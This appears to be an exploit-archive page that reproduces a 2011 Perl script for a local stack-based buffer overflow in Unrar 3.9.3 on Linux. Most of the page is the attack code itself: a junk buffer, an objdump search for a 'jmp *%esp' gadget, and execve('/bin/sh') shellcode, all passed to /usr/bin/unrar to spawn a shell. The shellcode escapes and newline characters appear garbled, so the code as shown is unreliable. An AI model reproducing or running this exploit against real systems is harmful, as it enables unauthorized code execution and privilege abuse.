Unrar 3.9.3 Local Stack Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Unrar 3.9.3 Local Stack Overflow Exploit
# Published : 2011-08-05
# Author :
# Previous Title : CoolPlayer Portable 2.19.2 Buffer Overflow (MSF)
# Next Title : FreeAmp 2.0.7 .fat Buffer Overflow Exploit (MSF)

#!/usr/bin/perl
=head1	TITLE

Winrar <= v3.93 Local Stack-based Overflow exploit


=head2 DESCRIPTION

This script triggers a buffer overflow attack against Unrar, the linux popular version of WinRar extractor.
It was not developped to bypass non-executing stack patches.
Have phun

=head2 AUTHORS

ZadYree ~~ 3LRVS Team - Low Level Languages Reversing Vxing Security


=head2 Tested ON

Linux Debian 6. May work on FreeBSD.

=head3 THANKS

kmkz
regol
hellpast
Hebiko
m_101
ZadYree

SNCF
The one who sent me that locked .rar
=cut
use 5.010;

# Shellcode: execve("/bin/sh") => http://www.shell-storm.org/shellcode/files/shellcode-752.php
use constant SHELLCODE => 	"x31xc9xf7xe1x51x68x2fx2f" .
				"x73x68x68x2fx62x69x6ex89" .
				"xe3xb0x0bxcdx80";
use constant BUFF => ('-' . ('3lrvs' x 820));
##


$pname = "/usr/bin/unrar";

die "[-]File $pname does not exist!12" unless (-e $pname);

say "[*]Looking for jmp *%esp gadget...";

for my $line(qx{objdump -D $pname | grep "ff e4"}) {
	$esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmps{4}*%esp});
}

say '[+]Jump to $esp found! (0x', $esp, ")12[+]Now exploiting...";
sleep(1);

my @payload = ($pname, (BUFF . pack("V", hex($esp)) . SHELLCODE . "12"));

exec(@payload);